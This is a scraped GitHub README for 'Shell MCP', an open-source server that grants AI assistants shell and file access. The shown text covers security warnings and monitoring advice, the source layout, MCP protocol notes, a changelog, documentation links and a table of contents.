- Set up alerting for suspicious commands
- Regularly review execution history
- Implement anomaly detection
Defense in Depth
- Combine multiple security layers
- Assume breach mentality
- Implement least privilege principles
- Regular security assessments
User Education
- Train users on secure prompting practices
- Establish clear guidelines for AI assistant use
- Regular security awareness updates

Security Is Your Responsibility

This MCP server is a tool that grants shell access to AI assistants. The security of your system depends on:

How you configure it
What permissions you grant
How you monitor its use
The security of your AI assistant
Your understanding of the risks

No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.

Architecture

src/
├── server.ts                   # Main MCP server
├── executors/
│   └── shellExecutor.ts        # Shell command execution
├── tools/
│   ├── toolRegistry.ts         # Tool registration and routing
│   └── handlers/
│       ├── execTool.ts         # Shell execution tool
│       ├── fileTools.ts        # File operation tools
│       ├── systemInfoTool.ts   # System info tool
│       └── processTool.ts      # Process management tool
└── utils/
    └── logger.ts               # Logging utility

test/
├── integration.test.ts         # Main integration tests
├── client.test.ts              # Alternative client test
├── debug.test.ts               # Debug/diagnostic test
└── README.md                   # Test documentation

MCP Protocol

This server implements the Model Context Protocol (MCP) standard:

Communication via stdio transport
Supports tools/list for discovering available tools
Supports tools/call for executing tools

License

MIT

Changelog

v1.0.0

Initial production release
Cross-platform system info
Security enhancements
Proper error handling
Comprehensive documentation

Contributing

Contributions are welcome! Please see CONTRIBUTING.md for full guidelines.

Key points:

Code follows TypeScript best practices
All changes are properly typed
Security implications are considered
Cross-platform compatibility is maintained

Documentation

🌐 Online Documentation

View the complete documentation website →

A comprehensive, user-friendly documentation site with:

Interactive examples and use cases
Step-by-step setup guides
Complete tool reference
Security best practices
Example conversations

📄 Documentation Files

README.md - This file, project overview and usage
CLAUDE_SETUP.md - Claude Desktop configuration guide
SECURITY.md - Security best practices and guidelines
CONTRIBUTING.md - Contribution guidelines
CHANGELOG.md - Version history and changes
docs/ - GitHub Pages documentation website source

Project Status

✅ Production Ready - v1.0.0

This project has been thoroughly tested and includes:

Comprehensive error handling and logging
Security features and validation
Cross-platform compatibility
Extensive documentation
Graceful shutdown handling
TypeScript strict mode compliance

Support

For issues, questions, or contributions:

Open an issue on GitHub
See CONTRIBUTING.md for guidelines
Check SECURITY.md for security-related questions

Built with ❤️ using the Model Context Protocol (MCP)

Name		Name	Last commit message	Last commit date
Latest commit History 5 Commits
docs		docs
src		src
test		test
.env.example		.env.example
.gitignore		.gitignore
.npmignore		.npmignore
CHANGELOG.md		CHANGELOG.md
CLAUDE_SETUP.md		CLAUDE_SETUP.md
CONTRIBUTING.md		CONTRIBUTING.md
README.md		README.md
SECURITY.md		SECURITY.md
package.json		package.json
tsconfig.json		tsconfig.json

Folders and files

Latest commit

History

Repository files navigation

Shell MCP

Table of Contents

What is This?

⚠️ Important Disclaimer & Safety Warning

🛑 READ THIS BEFORE USING

Legal Disclaimer

⚠️ Critical Security Warnings

🔴 EXTREME DANGER: Unsandboxed Mode

🟡 Potential Dangers Even With Sandbox Mode

🚨 How Your AI Agent Could Misuse This Server

Without Proper Safeguards:

✅ How to Protect Yourself

Essential Safety Measures:

🔒 Recommended Security Configuration

⚖️ Legal and Ethical Considerations

🎓 Education and Awareness

📞 Incident Response

Final Warning

Real-World Use Cases

For Developers

For System Administrators

For Data Scientists & Analysts

For DevOps Engineers

For Traders & Finance Enthusiasts

For Daily Automation & Productivity

Real-World Automation Examples

How to Use with AI Assistants

Claude Desktop

Option 1: Local Installation (Recommended for Development)

Option 2: Using npx (No Installation Required)

Getting Started

Other MCP-Compatible AI Tools

What Your AI Agent Can Do

Example Conversations

Example 1: System Health Check

Example 2: Project Analysis

Example 3: Data Processing

Example 4: Development Workflow

Example 5: Troubleshooting

Example 6: Stock Market Monitoring & Trading Signals

Example 7: Smart Amazon Shopping Assistant

Example 8: Morning Market Routine Automation

Tips for Best Results

Communicating with Your AI Assistant

Safety Tips

What to Try First

Enabling Advanced Features

Stock Market & Financial APIs

Browser Automation

Amazon Shopping & Price Monitoring

Opening Applications

Scheduled Automation

Getting Started with Advanced Features

Features

Installation for End Users

Prerequisites

Step-by-Step Setup

Optional: Configuration

For Developers

Quick Start

Development Workflow

Testing

Available Tools

1. exec

2. readFile

3. writeFile

4. deleteFile

5. listDir

6. getSystemInfo

7. listProcesses

Security Considerations

Built-in Security Features

Blocked Command Patterns

⚠️ What Is NOT Protected

Recommendations for Production Use

Security Is Your Responsibility

Packages